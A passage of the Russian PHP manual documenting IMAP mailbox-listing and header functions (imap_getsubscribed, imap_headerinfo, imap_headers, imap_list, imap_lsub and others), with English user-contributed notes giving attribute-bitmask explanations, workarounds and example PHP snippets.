LATT_UNMARKED

the value of these constants are

LATT_NOINFERIORS = 1
LATT_NOSELECT = 2
LATT_MARKED = 4
LATT_UNMARKED = 8

you can got this result by echo each constant, unfortunately the documentation not explain how we can check the attributes against the constants, after a long time of searching i find the answer in source code of c-client
(you can get the source from ftp://ftp.cac.washington.edu/imap/)
under \src\c-client you will find mail.h open it and you will find this

                               /* terminal node in hierarchy */
#define LATT_NOINFERIORS (long) 0x1
                /* name can not be selected */
#define LATT_NOSELECT (long) 0x2
                /* changed since last accessed */
#define LATT_MARKED (long) 0x4
                /* accessed since last changed */
#define LATT_UNMARKED (long) 0x8
                /* name has referral to remote mailbox */
#define LATT_REFERRAL (long) 0x10
                /* has selectable inferiors */
#define LATT_HASCHILDREN (long) 0x20
                /* has no selectable inferiors */
#define LATT_HASNOCHILDREN (long) 0x40

as you notice here these are our four constants and three additional constants

LATT_REFERRAL
LATT_HASCHILDREN
LATT_HASNOCHILDREN

then what is the value of these 3 attributes
LATT_REFERRAL 0x10 = 00010000 in binary, the bitmask value is 2^4 = 16 and so on, or simply echo this constant to get the value, then

LATT_REFERRAL = 16
LATT_HASCHILDREN = 32
LATT_HASNOCHILDREN = 64

finally the full list of constants will be
LATT_NOINFERIORS = 1
LATT_NOSELECT = 2
LATT_MARKED = 4
LATT_UNMARKED = 8
LATT_REFERRAL = 16
LATT_HASCHILDREN = 32
LATT_HASNOCHILDREN = 64

ok let's back to our attributes
[attributes] => 9
[attributes] => 1
[attributes] => 64
[attributes] => 32
[attributes] => 40

[attributes] => 9 this mean it's LATT_UNMARKED and LATT_NOINFERIORS 1+8 =9

[attributes] => 1 this mean LATT_NOINFERIORS

[attributes] => 64 this mean LATT_HASNOCHILDREN

[attributes] => 32 this mean LATT_HASCHILDREN

[attributes] => 40 this mean LATT_HASCHILDREN and LATT_UNMARKED 32+8=40

this just like linux file permission 7 mean read, write, and execute 4+2+1 read=4 write=2 execute=1

that is what i found, i hope this can help

Mohamed Abbas
Nileweb Egypt
emielbom at hotmail dot com 04-Feb-2006 07:09
i was looking for a function to test the attributes.
and it was hard to find an answer or code.

Maybe there is a function availeble, but i couldn't find it.

the first function: returns all mailboxes in on the server

The second function: returns a bitstring from the attr_number returned by getmailboxes()

The tirth function: returns an array with the active attributes on the specific mailbox

Last Line: is a combination of the functions: the output is, any map witch can hold no mail but only sub boxes...

<?php
function getFolders($mailbox, $serverString) {

    $list = imap_getmailboxes($mailbox, $serverString, "*");
    if (is_array($list)) {
        foreach ($list as $key => $val) {
           $mapname = str_replace($serverString, "", imap_utf7_decode($val->name));
           if ($mapname[0] != ".") {
               $list_folders[$key]['name'] = $mapname;
               $list_folders[$key]['delimiter'] = $val->delimiter;
               $list_folders[$key]['attributes'] = $val->attributes;
           }

        }
    } else {
        echo "imap_getmailboxes failed: " . imap_last_error() . "\n";
    }

    return $list_folders;
}

function IntToBin($number) {
    $BitWaarde = 1;
    $IntNum = $number;
    $BinString = "";

    if ($IntNum > 0) {

        // bepaal de max bitwaarde aan de hand van $IntNum
        while ($IntNum > $BitWaarde) {
            $BitWaarde = $BitWaarde * 2;
        }

        // maken van een binaire string.
        while ($BitWaarde >= 1 ) {
            if ($IntNum < $BitWaarde) {
                if ($BinString != "") $BinString .= "0";
            } else {
                $BinString .= "1";
                $IntNum = $IntNum-$BitWaarde;
            }
            $BitWaarde = $BitWaarde / 2;
        }

    }

    return $BinString;
}

function Attributes($BinString) {

    $BinInt = (int)$BinString;
    if ($BinInt >=1000){
        $setAttribute['LATT_UNMARKED'] = true;
        $BinInt = $BinInt-1000;
    } else $setAttribute['LATT_UNMARKED'] = false;

    if ($BinInt >=100){
        $setAttribute['LATT_MARKED'] = true;
        $BinInt = $BinInt-100;
    } else $setAttribute['LATT_MARKED'] = false;

    if ($BinInt >=10){
        $setAttribute['LATT_NOSELECT'] = true;
        $BinInt = $BinInt-10;
    } else $setAttribute['LATT_NOSELECT'] = false;

    if ($BinInt >=1){
        $setAttribute['LATT_NOINFERIORS'] = true;
        $BinInt = $BinInt-1;
    } else $setAttribute['LATT_NOINFERIORS'] = false;

    return $setAttribute;
}

foreach (getFolders($mailbox, $config['Server_string']) as $key => $val) {
                        $Attr = Attributes(IntToBin((int)$val['attributes']));
                        if (!$Attr['LATT_NOINFERIORS']) {
                            echo "<option value='".$val['name']."'>".$val['name']."</option>";
                        }
                    }
?>
ad-rotator.com 04-May-2004 01:17
In case you print_r() or var_dump() the object and see an int for attribute, these are the constant integers for the bitmask.

1 LATT_NOINFERIORS
2 LATT_NOSELECT
4 LATT_MARKED
8 LATT_UNMARKED
foom at fuhm dot NO_supercalifragilisticexpialidocious_SPAM dot net 27-Aug-2001 05:42
The list of mailbox attributes in this document is very misleading. In particular the explanation of noinferiors is just wrong. It does not mean that the mailbox currently has no children, it means that it *cannot* have children ever. Also, it is untrue that marked and unmarked are only used by UW-IMAP. They are in the official IMAP specification and are used by at least Courier-imap as well.

One thing to watch out for, however, is broken IMAP servers which do send \Noinferiors when they mean that there are currently no children.

From the IMAP4rev1 specs (RFC 2060):
      \Noinferiors

         It is not possible for any child levels of hierarchy to exist
         under this name; no child levels exist now and none can be
         created in the future.

      \Noselect

         It is not possible to use this name as a selectable mailbox.

      \Marked

         The mailbox has been marked "interesting" by the server; the
         mailbox probably contains messages that have been added since
         the last time the mailbox was selected.

      \Unmarked

         The mailbox does not contain any additional messages since the
         last time the mailbox was selected.


Список всех почтовых ящиков, на которые вы подписаны

  • « imap_getmailboxes
  • imap_header »
  • PHP Manual
  • Функции IMAP
  • Список всех почтовых ящиков, на которые вы подписаны

imap_getsubscribed

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_getsubscribed — Список всех почтовых ящиков, на которые вы подписаны

Описание

imap_getsubscribed(IMAP\Connection $imap, string $reference, string $pattern): array|false

Возвращает информацию о списке всех почтовых ящиков, на которые вы подписаны.

Идентично imap_getmailboxes(), за исключением того, что возвращается только список ящиков, на которые подписан пользователь.

Список параметров

imap

Экземпляр IMAP\Connection.

reference

В reference, как правило, должна быть указана только спецификация сервера, как описано в imap_open()

Внимание

Если imap.enable_insecure_rsh не отключён, то передача в этот параметр не проверенных данных не безопасна.

pattern

Определяет начало поиска в иерархии почтовых ящиков.

Есть два специальных символа, которые можно использовать при передаче как часть pattern: '*' и '%'. '*' возвращает все почтовые ящики. Если вы передадите pattern как '*', то получите полный список иерархии почтовых ящиков. '%' вернёт только текущий уровень. '%', переданный как параметр pattern, вернёт почтовые ящики только на самом верхнем уровне; '~/mail/%' на UW_IMAPD вернёт все ящики в директории ~/mail, кроме тех, которые находятся в её поддиректориях.

Возвращаемые значения

Возвращает массив объектов, содержащих информацию о ящиках. Каждый объект имеет свойства: name, содержащее полное имя ящика; delimiter, содержащее разделитель для той части иерархии, в которой содержится ящик; и attributes. Параметр Attributes является битовой маской, следующих допустимых констант:

  • LATT_NOINFERIORS - этот ящик не имеет потомков (нет ни одного ящика ниже этого).
  • LATT_NOSELECT - это только контейнер, а не почтовый ящик. Вы не можете его открыть.
  • LATT_MARKED - Этот ящик помечен. Используется только UW-IMAPD.
  • LATT_UNMARKED - Этот ящик не помечен. Используется только UW-IMAPD.
  • LATT_REFERRAL - Этот контейнер имеет направления (referral) на удалённый почтовый ящик.
  • LATT_HASCHILDREN - Этот почтовый ящик имеет выбираемые подчинённые (inferiors).
  • LATT_HASNOCHILDREN - Этот почтовый ящик не имеет выбираемые подчинённые (inferiors).
Функция возвращает false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним imap_headerinfo

  • « imap_getsubscribed
  • imap_headerinfo »
  • PHP Manual
  • Функции IMAP
  • Псевдоним imap_headerinfo

imap_header

(PHP 4, PHP 5, PHP 7)

imap_header — Псевдоним imap_headerinfo()

Внимание

Псевдоним УДАЛЁН в PHP 8.0.0.

Описание

Функция является псевдонимом: imap_headerinfo().

User Contributed Notes

There are no user contributed notes for this page.


Прочитать заголовок сообщения

  • « imap_header
  • imap_headers »
  • PHP Manual
  • Функции IMAP
  • Прочитать заголовок сообщения

imap_headerinfo

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_headerinfo — Прочитать заголовок сообщения

Описание

imap_headerinfo(
IMAP\Connection $imap,
int $message_num,
int $from_length = 0,
int $subject_length = 0
): stdClass|false

Извлекает информацию о сообщении из его заголовка.

Список параметров

imap

Экземпляр IMAP\Connection.

message_num

Номер сообщения

from_length

Количество символов в свойстве fetchfrom. Должно быть больше или равно нулю.

subject_length

Количество символов в свойстве fetchsubject. Должно быть больше или равно нулю.

defaulthost

Возвращаемые значения

В случае возникновения ошибки возвращает false. В случае успешного выполнения возвращает объект со следующими свойствами:

  • toaddress - полная строка to:, максимум 1024 символов
  • to - массив объектов из поля To:, со следующими свойствами: personal, adl, mailbox и host
  • fromaddress - полная строка from:, максимум 1024 символов
  • from - массив объектов из поля From:, со следующими свойствами: personal, adl, mailbox и host
  • ccaddress - полная строка cc:, максимум 1024 символов
  • cc - массив объектов из поля Cc:, со следующими свойствами: personal, adl, mailbox и host
  • bccaddress - полная строка bcc:, максимум 1024 символов
  • bcc - массив объектов из поля Bcc:, со следующими свойствами: personal, adl, mailbox и host
  • reply_toaddress - полная строка Reply-To:, максимум 1024 символов
  • reply_to - массив объектов из поля Reply-To:, со следующими свойствами: personal, adl, mailbox и host
  • senderaddress - полная строка sender:, максимум 1024 символов
  • sender - массив объектов из поля Sender:, со следующими свойствами: personal, adl, mailbox и host
  • return_pathaddress - полная строка Return-Path:, максимум 1024 символов
  • return_path - массив объектов из поля Return-Path:, со следующими свойствами: personal, adl, mailbox и host
  • remail -
  • date - Дата письма, как она указана в заголовке
  • Date - То же, что и date
  • subject - Тема письма
  • Subject - То же, что и subject
  • in_reply_to -
  • message_id -
  • newsgroups -
  • followup_to -
  • references -
  • Recent - R если новое и прочитанное, N если новое и не прочитанное, ' ' если не новое.
  • Unseen - U если НЕ прочитано и НЕ новое, ' ' если прочитано ИЛИ не прочитано и новое
  • Flagged - F если отмечено, ' ' если нет
  • Answered - A если отвечено, ' ' если нет
  • Deleted - D если удалено, ' ' если нет
  • Draft - X если черновик, ' ' если нет
  • Msgno - Номер сообщения
  • MailDate -
  • Size - Размер сообщения
  • udate - время отсылки в виде временной метки Unix
  • fetchfrom - поле from, отформатированное в соответствии с from_length
  • fetchsubject - поле subject, отформатированное в соответствии с subject_length

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.
8.0.0 | Неиспользуемый параметр defaulthost был удалён.

Смотрите также

  • imap_fetch_overview() - Обзор информации, содержащейся в заголовках сообщений

User Contributed Notes

php at our-software dot com 13-Mar-2017 02:57
Please Note : imap_headerinfo only returns a subset of the headers, rather than the entire thing.

Among other things, this means it only shows the first recipient from the "to" section of the email, rather than all recipients.

If you're not seeing something you expected to, you'll be better off using

$hdr_raw = imap_fetchheader($mbox, $mailid);
$hdr = imap_rfc822_parse_headers($hdr_raw);

then you'll see the full set of headers, and be able to do more with it.
Murray 14-Sep-2015 11:54
An email without a subject line will not generate the 'subject' property.

Before using the 'subject' property you should test for it.
if (property_exists($header, 'subject')) echo $header->subject;
milosh 03-Aug-2014 10:14
I did some testing on using imap_headerinfo() function and I am very confused with the results.

On small mailboxes, getting data for 30 messages takes about 0.5 secs. On mailboxes with approximately 500 messages it takes about 7 secs to retrieve data for the same number of messages.

Why would the size of mailbox had anything to do with the time needed to retrieve the header of the single email message? Mailboxes are on the same account.

Next, If you measure every call to imap_headerinfo() function the result are even stranger! First and then every 22th call to the imap_headerinfo() function takes 10000 times more that the others. Example: the first call takes about 0.39 secs, then other 20 calls take about 0.0001 secs, then 22th call takes about 0.47 secs, then other 20 calls about 0.00004, and so on.

After some more research there is something else that came up.

If you use:

$message_header[$i] = imap_headerinfo($mbox, $i + 1);

it takes about 0.4 secs for every 22th call and about 0.0001 sec for other calls.

However, you would expect the same results with:

$message_header[$i] = imap_headerinfo($mbox, 30 - $i);

But, in this case it takes about 0.2 secs for every call!

The only difference here is that in the second example headers are retrieved in the reversed message order (from the 30th to the 1st) and for some reason it greatly affects the time needed for the operation. Strange, or is it just me?
andyltm 08-Jul-2010 03:17
When I was testing imap_headerinfo() with an e-mail that had multiple recipients (multiple e-mails in to to: and/or cc: field), I noticed that imap_headerinfo() was failing hard for me on PHP 5.2.10-2ubuntu6.4 with Suhosin-Patch 0.9.7 (cli).

Rather than providing me an array with each and every e-mail address listed in the to and/or cc fields, it was only providing me the first listed.  This was disappointing.

   [to] => Array
        (
            [0] => stdClass Object
                (
                    [mailbox] => game
                    [host] => blunts.com
                )
        )

Luckily, there was a cool workaround to this problem:

imap_rfc822_parse_headers(imap_fetchheader( string ); which subsequentally worked like a nice little pet would:

   [to] => Array
        (
            [0] => stdClass Object
                (
                    [mailbox] => game
                    [host] => blunts.com
                )
            [1] => stdClass Object
                (
                    [mailbox] => dutch
                    [host] => masters.com
                )
        )

TL;DR:
So in other words, instead of imap_headerinfo() use imap_rfc822_parse_headers(imap_fetchheader()).

Hope this helps anyone else that runs into this issue from now into the future.  This post was suggested by people in #PHP on FreeNode IRC.
trinkaus at ttNetz dot de 31-Jan-2010 02:32
When i try to access the same mailbox through pop3 and through imap i get different update infomations.

1. Using imap
header->udate is not the same as strtotime($header->date)
<?php
$mBox = imap_open("{host:143/imap/novalidate-cert}INBOX}", $username, $password); // open as imap
$header = imap_header($mBox, 1); // get first mails header
echo $header->udate;
echo strtotime($header->date);
?>

1. Using pop3
header->udate is the same as strtotime($header->date)
<?php
$mBox = imap_open("{host:110/pop3/novalidate-cert}INBOX}", $username, $password); // open as pop3
$header = imap_header($mBox, 1); // get first mails header
echo $header->udate;
echo strtotime($header->date);
?>

I do not know why this is so, but for this reason, i use strtotime($header->date) together with other values to create my own message-UID because this seems to work independent from the protocol.
jahservant 13 at gmail dot com 08-Dec-2009 03:56
I'm not entirely sure why this is, but if you loop through all of the messages in a mailbox, calling imap_header() each time, you can significantly increase performance by calling imap_headers() first.

Compare this:
<?php
     $imap = imap_open("{my.server.com:143}INBOX", "user", "pass");
     $n_msgs = imap_num_msg($imap);
     $s = microtime(true);
     for ($i=0; $i<$n_msgs; $i++) {
          $header = imap_header($imap, $i);
     }
     $e = microtime(true);
     echo ($e - $s);
     imap_close($imap);
?>

With this:
<?php
     $imap = imap_open("{my.server.com:143}INBOX", "user", "pass");
     $n_msgs = imap_num_msg($imap);
  /****** adding this line: ******/
     imap_headers($imap)
  /***************************/
     $s = microtime(true);
     for ($i=0; $i<$n_msgs; $i++) {
          $header = imap_header($imap, $i);
     }
     $e = microtime(true);
     echo ($e - $s);
     imap_close($imap);
?>

The performance difference, as I have tested on several boxes, connecting to several different servers, is that the second code snippet ALWAYS takes 1/2 the time, if not less.

Perhaps it is because imap_headers() retrieves all of the messages on one connection, whereas imap_header() has to make a new fetch request for each message??  I'm not sure WHY it is faster if imap_headers() is called first, but I do know that it is, so I thought I'd pass on the knowledge.  If anyone knows why this is, please let me know....
aeolianmeson at exoyiga dot blitzeclipse dot com 17-May-2009 10:56
I typically use UID's to identify messages, and recently discovered that the headers I had been pulling using this function and a message-number didn't match the UID's. Instead of worrying about it, I just began using imap_fetchheader() and imap_ rfc822_ parse_ headers() on its output. The only significant difference I immediately noticed was that there is no "udate" property, so I assigned one with the result of strtotime() on the 'date' property.

Dustin
php at spacefish dot biz 27-Jan-2009 10:57
I had to pass the msgid as array($msgid) instead of an integer. the error "Invalid messageID" is generated if i pass an integer.
ron at NOSPAM dot clicks2hits dot com 05-Nov-2008 05:51
Simple little code for checking gmail using headerinfo

<?php /* Created on: 11/3/2008 By Ron Hickey 6tx.net/gmail_mod
Gmail mod for admin panels or you can edit it and convert html results to XML for personal RSS reader */

// enter gmail username below e.g.--> $m_username = "yourusername";
$m_username = "";

// enter gmail password below e.g.--> $m_password = "yourpword";
$m_password = "";

// enter the number of unread messages you want to display from mailbox or
//enter 0 to display all unread messages e.g.--> $m_acs = 0;
$m_acs = 15;

// How far back in time do you want to search for unread messages - one month = 0 , two weeks = 1, one week = 2, three days = 3,
// one day = 4, six hours = 5 or one hour = 6 e.g.--> $m_t = 6;
$m_t = 2;

//----------->Nothing More to edit below
//open mailbox..........please
$m_mail = imap_open ("{imap.gmail.com:993/imap/ssl}INBOX", $m_username . "@gmail.com", $m_password)

// or throw a freakin error............you pig
or die("ERROR: " . imap_last_error());

// unix time gone by or is it bye.....its certanly not bi.......or is it? ......I dunno fooker
$m_gunixtp = array(2592000, 1209600, 604800, 259200, 86400, 21600, 3600);

// Date to start search
$m_gdmy = date('d-M-Y', time() - $m_gunixtp[$m_t]);

//search mailbox for unread messages since $m_t date
$m_search=imap_search ($m_mail, 'UNSEEN SINCE ' . $m_gdmy . '');

//If mailbox is empty......Display "No New Messages", else........ You got mail....oh joy
if($m_search < 1){
$m_empty = "No New Messages";}
else {

// Order results starting from newest message
rsort($m_search);

//if m_acs > 0 then limit results
if($m_acs > 0){
array_splice($m_search, $m_acs);
}

//loop it
foreach ($m_search as $what_ever) {

//get imap header info for obj thang
$obj_thang = imap_headerinfo($m_mail, $what_ever);

//Then spit it out below.........if you dont swallow
echo "<body bgcolor=D3D3D3><div align=center><br /><font face=Arial size=2 color=#800000>Message ID# " . $what_ever . "</font>

<table bgcolor=#D3D3D3 width=700 border=1 bordercolor=#000000 cellpadding=0 cellspacing=0>
<tr>
<td><table width=100% border=0>
<tr>
<td><table width=100% border=0>
<tr>
<td bgcolor=#F8F8FF><font face=Arial size=2 color=#800000>Date:</font> <font face=Arial size=2 color=#000000>" . date("F j, Y, g:i a", $obj_thang->udate) . "</font></td>
<td bgcolor=#F8F8FF><font face=Arial size=2 color=#800000>From:</font> <font face=Arial size=2 color=#000000>" . $obj_thang->fromaddress . "</font></td>
<td bgcolor=#F8F8FF><font face=Arial size=2 color=#800000>To:</font> <font face=Arial size=2 color=#000000>" . $obj_thang->toaddress . " </font></td>
</tr>
<tr>
</table>
</td>
</tr><tr><td bgcolor=#F8F8FF><font face=Arial size=2 color=#800000>Subject:</font> <font face=Arial size=2 color=#000000>" . $obj_thang->Subject . "</font></td></tr><tr>
</tr>
</table></td>
</tr>
</table><a href=http://gmail.com target=_blank><font face=Arial size=2 color=#800000>Login to read message</a></font><br /></div></body>";

}} echo "<div align=center><font face=Arial size=4 color=#800000><b>" . $m_empty . "</b></font></div>";
//close mailbox bi by bye
imap_close($m_mail);
?>
scott at fuzzygroup dot com 11-Nov-2002 09:13
If you want to extract values from to, from, or other header elements, they are an object and you need to loop over them i.e.

$header = imap_header($mbox, $message_id);
$from = $header->from;
foreach ($from as $id => $object) {
    $fromname = $object->personal;
    $fromaddress = $object->mailbox . "@" . $object->host;
}

Would give you two variables for the friendly from and the smtp from address

Thanks to www.natrak.net for help with this


Получить заголовки всех сообщений в почтовом ящике

  • « imap_headerinfo
  • imap_is_open »
  • PHP Manual
  • Функции IMAP
  • Получить заголовки всех сообщений в почтовом ящике

imap_headers

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_headers — Получить заголовки всех сообщений в почтовом ящике

Описание

imap_headers(IMAP\Connection $imap): array|false

Возвращает заголовки всех сообщений в почтовом ящике.

Список параметров

imap

Экземпляр IMAP\Connection.

Возвращаемые значения

Возвращает массив со строками, содержащими заголовки сообщений. Один элемент - одно сообщение. Возвращает false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

User Contributed Notes

Anonymous 13-Apr-2021 10:29
the format returned is very fixed:

FLAGS (space) NUMBER (*) DATE (space) SENDER (space) SUBJECT (space) LENGTH

NUMBER will be a left-padded string of up to 4 digits + ")", starting with 5 digits, it is those 5 digits (without the ")")

DATE will be a left-padded string like " 2-Apr-2021" or a non-padded string like "13-Apr-2021"

SENDER is 20 chars long

SUBJECT is 25 chars long

LENGTH is a string like "(1248 chars)" , however it allows more digits and is not padded.
webmaster at RealityRipple dot com 06-May-2018 11:32
Just a helpful hint, many IMAP servers will include non-standard flags in curly braces before the subject in the response of this function. Pretty sure this is the only way to determine if a message has been forwarded, for example, when using the IMAP functions. The first flag (or more) may be prefixed with a dollar sign ($). It's (probably) likely that any such flags received by a server can be passed through imap_append to that server, as well.
antispam at katiheta dot net 31-Jul-2013 02:44
Message flag descriptions can be found on official imap_headerinfo page (http://www.php.net/manual/en/function.imap-headerinfo.php) in "Return Value" paragraph.
paulwright75 at hotmail dot com 18-Jun-2013 12:54
Ok, this page is driving me crazy. Parsing the lines returned in the array is simple enough but there is no definitions on what the flags mean. So I searched the web to find the answer and this is what I was able to gather:

A - Answered: email has been replied to
N - New: Recent and not seen
R - Recent: Recent and seen
U - Unread: The message has not been read yet
F - Flagged: Message is "flagged" for urgent/special attention
D - Deleted: Message is "deleted" for removal by later EXPUNGE
X - Draft: Message has not completed composition (marked as a draft).

please correct me if I am wrong...
mmuoio at gmail dot com 12-Oct-2009 10:39
This function will not return a full subject line if it is longer than 25 characters.  I found this out after trying to search each header and move the email to a different folder depending on what the subject was (searching for year and project number).


Проверяет, является ли поток IMAP всё ещё корректным

  • « imap_headers
  • imap_last_error »
  • PHP Manual
  • Функции IMAP
  • Проверяет, является ли поток IMAP всё ещё корректным

imap_is_open

(PHP 8 >= 8.2.1)

imap_is_open — Проверяет, является ли поток IMAP всё ещё корректным

Описание

imap_is_open(IMAP\Connection $imap): bool

Проверяет, является ли поток IMAP всё ещё корректным.

Список параметров

imap

Экземпляр IMAP\Connection.

Возвращаемые значения

Возвращает true, если поток ещё корректный, в противном случае возвращает false.

Примеры

Пример #1 Пример использования imap_is_open()

<?php
$mbox = imap_open("{imap.example.org:143}INBOX", "username", "password") or die(implode(", ", imap_errors()));
imap_is_open($mbox);
// ...
?>

User Contributed Notes

There are no user contributed notes for this page.


Получить последнюю ошибку IMAP в текущем запросе

  • « imap_is_open
  • imap_list »
  • PHP Manual
  • Функции IMAP
  • Получить последнюю ошибку IMAP в текущем запросе

imap_last_error

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_last_error — Получить последнюю ошибку IMAP в текущем запросе

Описание

imap_last_error(): string|false

Возвращает полный текст ошибки IMAP, возникшей на текущей странице. Стек ошибок не будет затронут; последующий вызов imap_last_error(), если ошибок более не было, вернёт ту же самую ошибку.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает полный текст ошибки IMAP, возникшей на текущей странице. Если ошибок не было - возвратит false.

Смотрите также

  • imap_errors() - Получить все произошедшие ошибки IMAP

User Contributed Notes

There are no user contributed notes for this page.


Прочитать список почтовых ящиков

  • « imap_last_error
  • imap_listmailbox »
  • PHP Manual
  • Функции IMAP
  • Прочитать список почтовых ящиков

imap_list

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_list — Прочитать список почтовых ящиков

Описание

imap_list(IMAP\Connection $imap, string $reference, string $pattern): array|false

Читает список почтовых ящиков.

Список параметров

imap

Экземпляр IMAP\Connection.

reference

В reference, как правило, должна быть указана только спецификация сервера, как описано в imap_open().

Внимание

Если imap.enable_insecure_rsh не отключён, то передача в этот параметр не проверенных данных не безопасна.

pattern

Определяет начало поиска в иерархии почтовых ящиков.

Есть два специальных символа, которые можно использовать при передаче как часть pattern: '*' и '%'. '*' возвращает все почтовые ящики. Если вы передадите pattern как '*', то получите полный список иерархии почтовых ящиков. '%' вернёт только текущий уровень. '%', переданный как параметр pattern, вернёт почтовые ящики только на самом верхнем уровне; '~/mail/%' на UW_IMAPD вернёт все ящики в директории ~/mail, кроме тех, которые находятся в её поддиректориях.

Возвращаемые значения

Возвращает массив с именами почтовых ящиков или false в случае неудачи.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Примеры

Пример #1 Пример использования imap_list()

<?php
$mbox = imap_open("{imap.example.org}", "username", "password", OP_HALFOPEN)
or die("не удалось подключиться: " . imap_last_error());

$list = imap_list($mbox, "{imap.example.org}", "*");
if (is_array($list)) {
foreach ($list as $val) {
echo imap_utf7_decode($val) . "\n";
}
} else {
echo "вызов imap_list завершился с ошибкой: " . imap_last_error() . "\n";
}

imap_close($mbox);
?>

Смотрите также

  • imap_getmailboxes() - Прочитать список почтовых ящиков, возвращая подробную информацию по каждому из них
  • imap_lsub() - Список всех подписанных почтовых ящиков

User Contributed Notes

maxime dot marais+php at gmail dot com 04-Apr-2019 11:51
Please be aware that if you are trying to list an empty mailbox, imap_list will return FALSE as if there was an error instead of an empty array() as one may expect.

Example:

With a brand new account created on your mail server, with an empty INBOX, you will get:

$list = imap_list( $imap_stream, $ref, "INBOX/*");
var_dump( $list );
// bool(false)
Anonymous 19-Mar-2019 09:56
use
echo mb_convert_encoding($val, "utf-8", "UTF7-IMAP");
for cyrrilic folder names
jemore at free dot fr 29-Mar-2014 02:02
With the values returned from the imap_list function, you can search a message in the folder, but you have to use the imap_reopen function before . Continuing the previous example (from c6h1206free at gmail dot com )

<?php
  $srv = '{imap.example.com}';
  $conn = imap_open($srv, 'me', 'mypass');
  $boxes = imap_list($conn, $srv, '*');
  foreach($boxes as $box)
  {
    imap_reopen($srv, $box);
    var_dump(imap_search($srv, "ALL"));
  }
  imap_close($conn);
?>
c6h1206free at gmail dot com 16-Sep-2008 12:00
imap_list returns a simple array of strings that look just like the $ref parameter one needs to specify:

<?php

  $srv = '{imap.example.com}';

  $conn = imap_open($srv, 'me', 'mypass');

  $boxes = imap_list($conn, $srv, '*');

  print_r($boxes);
  imap_close($conn);
?>

Output:

<pre>
Array
(
    [0] => {imap.example.com}Calendar
    [1] => {imap.example.com}Contacts
    [2] => {imap.example.com}Deleted Items
    [3] => {imap.example.com}Drafts
    [4] => {imap.example.com}Journal
    [5] => {imap.example.com}Junk E-mail
    [6] => {imap.example.com}Notes
    [7] => {imap.example.com}Outbox
    [8] => {imap.example.com}RSS Feeds
    [9] => {imap.example.com}Sent Items
    [10] => {imap.example.com}Tasks
)
</pre>

These directly fill in the $ref argument for every function that takes one.
kevin at metalaxe dot com 05-Jun-2007 02:13
if there is an error imap_list returns FALSE not an empty array (as expected by docs)


Псевдоним imap_list

  • « imap_list
  • imap_listscan »
  • PHP Manual
  • Функции IMAP
  • Псевдоним imap_list

imap_listmailbox

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_listmailbox — Псевдоним imap_list()

Описание

Функция является псевдонимом: imap_list().

User Contributed Notes

There are no user contributed notes for this page.


Получить список почтовых ящиков, имена которых содержат заданную строку

  • « imap_listmailbox
  • imap_listsubscribed »
  • PHP Manual
  • Функции IMAP
  • Получить список почтовых ящиков, имена которых содержат заданную строку

imap_listscan

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_listscan — Получить список почтовых ящиков, имена которых содержат заданную строку

Описание

imap_listscan(
IMAP\Connection $imap,
string $reference,
string $pattern,
string $content
): array|false

Возвращает массив, содержащий имена почтовых ящиков содержащих content в тексте.

Эта функция похожа на imap_listmailbox(), но также выявляет присутствие строки content внутри данных почтового ящика.

Список параметров

imap

Экземпляр IMAP\Connection.

reference

В reference, как правило, должна быть указана только спецификация сервера, как описано в imap_open()

Внимание

Если imap.enable_insecure_rsh не отключён, то передача в этот параметр не проверенных данных не безопасна.

pattern

Определяет начало поиска в иерархии почтовых ящиков.

Есть два специальных символа, которые можно использовать при передаче как часть pattern: '*' и '%'. '*' возвращает все почтовые ящики. Если вы передадите pattern как '*', то получите полный список иерархии почтовых ящиков. '%' вернёт только текущий уровень. '%', переданный как параметр pattern, вернёт почтовые ящики только на самом верхнем уровне; '~/mail/%' на UW_IMAPD вернёт все ящики в директории ~/mail, кроме тех, которые находятся в её поддиректориях.

content

Искомая строка

Возвращаемые значения

Возвращает массив, содержащий имена почтовых ящиков содержащих content в тексте или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Смотрите также

  • imap_listmailbox() - Псевдоним imap_list
  • imap_search() - Получить сообщения, удовлетворяющие заданным критериям

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним imap_lsub

  • « imap_listscan
  • imap_lsub »
  • PHP Manual
  • Функции IMAP
  • Псевдоним imap_lsub

imap_listsubscribed

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_listsubscribed — Псевдоним imap_lsub()

Описание

Функция является псевдонимом: imap_lsub().

User Contributed Notes

There are no user contributed notes for this page.


Список всех подписанных почтовых ящиков

  • « imap_listsubscribed
  • imap_mail_compose »
  • PHP Manual
  • Функции IMAP
  • Список всех подписанных почтовых ящиков

imap_lsub

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_lsub — Список всех подписанных почтовых ящиков

Описание

imap_lsub(IMAP\Connection $imap, string $reference, string $pattern): array|false

Возвращает массив всех почтовых ящиков на которые вы подписаны.

Список параметров

imap

Экземпляр IMAP\Connection.

reference

В reference, как правило, должна быть указана только спецификация сервера, как описано в imap_open().

Внимание

Если imap.enable_insecure_rsh не отключён, то передача в этот параметр не проверенных данных не безопасна.

pattern

Определяет начало поиска в иерархии почтовых ящиков.

Есть два специальных символа, которые можно использовать при передаче как часть pattern: '*' и '%'. '*' возвращает все почтовые ящики. Если вы передадите pattern как '*', то получите полный список иерархии почтовых ящиков. '%' вернёт только текущий уровень. '%', переданный как параметр pattern, вернёт почтовые ящики только на самом верхнем уровне; '~/mail/%' на UW_IMAPD вернёт все ящики в директории ~/mail, кроме тех, которые находятся в её поддиректориях.

Возвращаемые значения

